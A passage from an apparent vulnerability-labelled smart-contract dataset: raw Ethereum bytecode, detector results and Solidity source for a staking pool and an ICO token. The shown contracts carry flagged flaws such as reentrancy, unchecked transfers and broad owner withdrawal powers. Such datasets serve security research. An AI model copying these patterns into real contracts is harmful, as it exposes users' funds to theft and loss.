516017836139bb565b915061355c82613f72565b602082019050919050565b60006135746018836139bb565b915061357f82613f9b565b602082019050919050565b60006135976011836139bb565b91506135a282613fc4565b602082019050919050565b6135b681613b31565b82525050565b6135c581613b3b565b82525050565b60006020820190506135e060008301846132ff565b92915050565b60006040820190506135fb60008301856132ff565b61360860208301846132ff565b9392505050565b600060408201905061362460008301856132ff565b61363160208301846135ad565b9392505050565b600060c08201905061364d60008301896132ff565b61365a60208301886135ad565b613667604083018761337b565b613674606083018661337b565b61368160808301856132ff565b61368e60a08301846135ad565b979650505050505050565b60006020820190506136ae600083018461336c565b92915050565b600060208201905081810360008301526136ce818461338a565b905092915050565b600060208201905081810360008301526136ef816133c3565b9050919050565b6000602082019050818103600083015261370f816133e6565b9050919050565b6000602082019050818103600083015261372f81613409565b9050919050565b6000602082019050818103600083015261374f8161342c565b9050919050565b6000602082019050818103600083015261376f8161344f565b9050919050565b6000602082019050818103600083015261378f81613472565b9050919050565b600060208201905081810360008301526137af81613495565b9050919050565b600060208201905081810360008301526137cf816134b8565b9050919050565b600060208201905081810360008301526137ef816134db565b9050919050565b6000602082019050818103600083015261380f816134fe565b9050919050565b6000602082019050818103600083015261382f81613521565b9050919050565b6000602082019050818103600083015261384f81613544565b9050919050565b6000602082019050818103600083015261386f81613567565b9050919050565b6000602082019050818103600083015261388f8161358a565b9050919050565b60006020820190506138ab60008301846135ad565b92915050565b600060a0820190506138c660008301886135ad565b6138d3602083018761337b565b81810360408301526138e5818661330e565b90506138f460608301856132ff565b61390160808301846135ad565b9695505050505050565b600060208201905061392060008301846135bc565b92915050565b6000613930613941565b905061393c8282613b8d565b919050565b6000604051905090565b600067ffffffffffffffff82111561396657613965613c65565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006139d782613b31565b91506139e283613b31565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a1757613a16613c07565b5b828201905092915050565b6000613a2d82613b31565b9150613a3883613b31565b925082613a4857613a47613c36565b5b828204905092915050565b6000613a5e82613b31565b9150613a6983613b31565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613aa257613aa1613c07565b5b828202905092915050565b6000613ab882613b31565b9150613ac383613b31565b925082821015613ad657613ad5613c07565b5b828203905092915050565b6000613aec82613b11565b9050919050565b6000613afe82613b11565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613b5382613b31565b9050919050565b60005b83811015613b78578082015181840152602081019050613b5d565b83811115613b87576000848401525b50505050565b613b9682613c94565b810181811067ffffffffffffffff82111715613bb557613bb4613c65565b5b80604052505050565b6000613bc982613b31565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613bfc57613bfb613c07565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4d617820746f74616c2066656520697320313500000000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613ff681613ae1565b811461400157600080fd5b50565b61400d81613af3565b811461401857600080fd5b50565b61402481613b05565b811461402f57600080fd5b50565b61403b81613b31565b811461404657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b7d9a8fe56b19cbdca827f3806911d212e2ea1eab3c70970ef8da588bfcce69564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,348 |
0xa5480f732d489a22256ab6f754ab8202f9caa23c
|
/**
*Submitted for verification at Etherscan.io on 2020-10-08
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool2 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 2000000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function farm(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unfarm(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function harvest() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636654ffdf11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610445578063f3073ee71461046b578063f3f91fa01461048a578063f851a440146104b0576101cf565b8063c326bf4f14610407578063d578ceab1461042d578063d816c7d514610435578063f1587ea11461043d576101cf565b80639d76ea58116100de5780639d76ea58146103ac578063a89c8c5e146103b4578063bec4de3f146103e2578063c0a6d78b146103ea576101cf565b80636654ffdf146103665780636a395ccb1461036e5780637b0a47ee146103a4576101cf565b8063455ab53c11610171578063538a85a11161014b578063538a85a1146102f5578063583d42fd146103125780635ef057be146103385780636270cd1814610340576101cf565b8063455ab53c146102c85780634641257d146102d05780634908e386146102d8576101cf565b80632ec14e85116101ad5780632ec14e851461025c578063308feec31461028057806337c5785a1461028857806338443177146102ab576101cf565b8063069ca4d0146101d45780631c885bae146102055780631e94723f14610224575b600080fd5b6101f1600480360360208110156101ea57600080fd5b50356104b8565b604080519115158252519081900360200190f35b6102226004803603602081101561021b57600080fd5b50356104d9565b005b61024a6004803603602081101561023a57600080fd5b50356001600160a01b03166107e4565b60408051918252519081900360200190f35b610264610897565b604080516001600160a01b039092168252519081900360200190f35b61024a6108a6565b6101f16004803603604081101561029e57600080fd5b50803590602001356108b8565b6101f1600480360360208110156102c157600080fd5b50356108dc565b6101f16108fd565b610222610906565b6101f1600480360360208110156102ee57600080fd5b5035610911565b6102226004803603602081101561030b57600080fd5b5035610932565b61024a6004803603602081101561032857600080fd5b50356001600160a01b0316610c27565b61024a610c39565b61024a6004803603602081101561035657600080fd5b50356001600160a01b0316610c3f565b61024a610c51565b6102226004803603606081101561038457600080fd5b506001600160a01b03813581169160208101359091169060400135610c57565b61024a610d31565b610264610d37565b6101f1600480360360408110156103ca57600080fd5b506001600160a01b0381358116916020013516610d46565b61024a610dec565b6101f16004803603602081101561040057600080fd5b5035610df2565b61024a6004803603602081101561041d57600080fd5b50356001600160a01b0316610e13565b61024a610e25565b61024a610e2b565b61024a610e31565b6102226004803603602081101561045b57600080fd5b50356001600160a01b0316610e65565b6101f16004803603602081101561048157600080fd5b50351515610eea565b61024a600480360360208110156104a057600080fd5b50356001600160a01b0316610f76565b610264610f88565b600080546001600160a01b031633146104d057600080fd5b60049190915590565b336000908152600d602052604090205481111561053d576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600754336000908152600e602052604090205461055b904290610f97565b116105975760405162461bcd60e51b815260040180806020018281038252603b815260200180611304603b913960400191505060405180910390fd5b6105a033610fae565b60006105c36127106105bd6006548561114290919063ffffffff16565b90611169565b905060006105d18383610f97565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561062d57600080fd5b505af1158015610641573d6000803e3d6000fd5b505050506040513d602081101561065757600080fd5b50516106aa576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156106fe57600080fd5b505af1158015610712573d6000803e3d6000fd5b505050506040513d602081101561072857600080fd5b505161077b576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600d60205260409020546107959084610f97565b336000818152600d60205260409020919091556107b490600b9061117e565b80156107cd5750336000908152600d6020526040902054155b156107df576107dd600b33611193565b505b505050565b60006107f1600b8361117e565b6107fd57506000610892565b6001600160a01b0382166000908152600d602052604090205461082257506000610892565b6001600160a01b0382166000908152600f6020526040812054610846904290610f97565b6001600160a01b0384166000908152600d6020526040812054600454600354939450909261088c91612710916105bd919082908890610886908990611142565b90611142565b93505050505b919050565b6002546001600160a01b031681565b60006108b2600b6111a8565b90505b90565b600080546001600160a01b031633146108d057600080fd5b60059290925560065590565b600080546001600160a01b031633146108f457600080fd5b60099190915590565b600a5460ff1681565b61090f33610fae565b565b600080546001600160a01b0316331461092957600080fd5b60039190915590565b600a5460ff16151560011461098e576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b600081116109e3576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a3d57600080fd5b505af1158015610a51573d6000803e3d6000fd5b505050506040513d6020811015610a6757600080fd5b5051610aba576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610ac333610fae565b6000610ae06127106105bd6005548561114290919063ffffffff16565b90506000610aee8383610f97565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610b4a57600080fd5b505af1158015610b5e573d6000803e3d6000fd5b505050506040513d6020811015610b7457600080fd5b5051610bc7576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600d6020526040902054610be190826111b3565b336000818152600d6020526040902091909155610c0090600b9061117e565b6107df57610c0f600b336111c2565b50336000908152600e60205260409020429055505050565b600e6020526000908152604090205481565b60055481565b60106020526000908152604090205481565b60075481565b6000546001600160a01b03163314610c6e57600080fd5b6001546001600160a01b0384811691161415610ca957610c8c610e31565b811115610c9857600080fd5b600854610ca590826111b3565b6008555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d0057600080fd5b505af1158015610d14573d6000803e3d6000fd5b505050506040513d6020811015610d2a57600080fd5b5050505050565b60035481565b6001546001600160a01b031681565b600080546001600160a01b03163314610d5e57600080fd5b6001600160a01b03831615801590610d7e57506001600160a01b03821615155b610db95760405162461bcd60e51b815260040180806020018281038252602a815260200180611372602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b60045481565b600080546001600160a01b03163314610e0a57600080fd5b60079190915590565b600d6020526000908152604090205481565b60085481565b60065481565b600060095460085410610e46575060006108b5565b6000610e5f600854600954610f9790919063ffffffff16565b91505090565b6000546001600160a01b03163314610e7c57600080fd5b6001600160a01b038116610e8f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f0257600080fd5b6001546001600160a01b031615801590610f2657506002546001600160a01b031615155b610f615760405162461bcd60e51b815260040180806020018281038252603381526020018061133f6033913960400191505060405180910390fd5b600a805460ff19169215159290921790915590565b600f6020526000908152604090205481565b6000546001600160a01b031681565b600082821115610fa357fe5b508082035b92915050565b6000610fb9826107e4565b90508015611125576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561101757600080fd5b505af115801561102b573d6000803e3d6000fd5b505050506040513d602081101561104157600080fd5b5051611094576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152601060205260409020546110b790826111b3565b6001600160a01b0383166000908152601060205260409020556008546110dd90826111b3565b600855604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600f60205260409020429055565b600082820283158061115c57508284828161115957fe5b04145b61116257fe5b9392505050565b60008082848161117557fe5b04949350505050565b6000611162836001600160a01b0384166111d7565b6000611162836001600160a01b0384166111ef565b6000610fa8826112b5565b60008282018381101561116257fe5b6000611162836001600160a01b0384166112b9565b60009081526001919091016020526040902054151590565b600081815260018301602052604081205480156112ab578354600019808301919081019060009087908390811061122257fe5b906000526020600020015490508087600001848154811061123f57fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061126f57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610fa8565b6000915050610fa8565b5490565b60006112c583836111d7565b6112fb57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610fa8565b506000610fa856fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a2646970667358221220df931cfb47e4508c869f67442ea2a91fcde8c72e1a5400885269e5c352d9094264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,349 |
0x48a049d63a13f1c05beb8f79233b59416c2e7d66
|
// ----------------------------------------------------------------------------------------------
// Developer Nechesov Andrey & ObjectMicro, Inc
// ----------------------------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/issues/20
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
// Get the total token supply
function totalSupply() constant returns (uint256 totalSupply);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) constant returns (uint256 balance);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Iou_Token is ERC20Interface {
string public constant symbol = "IOU";
string public constant name = "IOU token";
uint8 public constant decimals = 18;
uint256 public constant maxTokens = 800*10**6*10**18;
uint256 public constant ownerSupply = maxTokens*30/100;
uint256 _totalSupply = ownerSupply;
uint256 public constant token_price = 10**18*1/800;
uint256 public pre_ico_start = 1528416000; // Jun 8, 2018 utc
uint256 public ico_start = 1531008000; // Jul 8, 2018 utc
uint256 public ico_finish = 1541635200; // Nov 8, 2018 utc
uint public constant minValuePre = 10**18*1/1000000;
uint public constant minValue = 10**18*1/1000000;
uint public constant maxValue = 3000*10**18;
uint public coef = 102;
using SafeMath for uint;
// Owner of this contract
address public owner;
address public moderator;
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
// Orders holders who wish sell tokens, save amount
mapping(address => uint256) public orders_sell_amount;
// Orders holders who wish sell tokens, save price
mapping(address => uint256) public orders_sell_price;
//orders list
address[] public orders_sell_list;
// Triggered on set SELL order
event Order_sell(address indexed _owner, uint256 _max_amount, uint256 _price);
// Triggered on execute SELL order
event Order_execute(address indexed _from, address indexed _to, uint256 _amount, uint256 _price);
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
// Functions with this modifier can only be executed by the moderator
modifier onlyModerator() {
if (msg.sender != moderator) {
throw;
}
_;
}
// Functions change moderator
function changeModerator(address _moderator) onlyOwner returns (bool result) {
moderator = _moderator;
return true;
}
// Constructor
function Iou_Token() {
//owner = msg.sender;
owner = 0x0a166E90071b0FfE77724F5b1cDADF62ACC63d10;
moderator = 0x788C45Dd60aE4dBE5055b5Ac02384D5dc84677b0;
balances[owner] = ownerSupply;
}
//default function
function() payable {
tokens_buy();
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
//Withdraw money from contract balance to owner
function withdraw(uint256 _amount) onlyOwner returns (bool result) {
uint256 balance;
balance = this.balance;
if(_amount > 0) balance = _amount;
owner.send(balance);
return true;
}
//Change coef
function change_coef(uint256 _coef) onlyOwner returns (bool result) {
coef = _coef;
return true;
}
//Change pre_ico_start date
function change_pre_ico_start(uint256 _pre_ico_start) onlyModerator returns (bool result) {
pre_ico_start = _pre_ico_start;
return true;
}
//Change ico_start date
function change_ico_start(uint256 _ico_start) onlyModerator returns (bool result) {
ico_start = _ico_start;
return true;
}
//Change ico_finish date
function change_ico_finish(uint256 _ico_finish) onlyModerator returns (bool result) {
ico_finish = _ico_finish;
return true;
}
// Total tokens on user address
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
// Transfer the balance from owner's account to another account
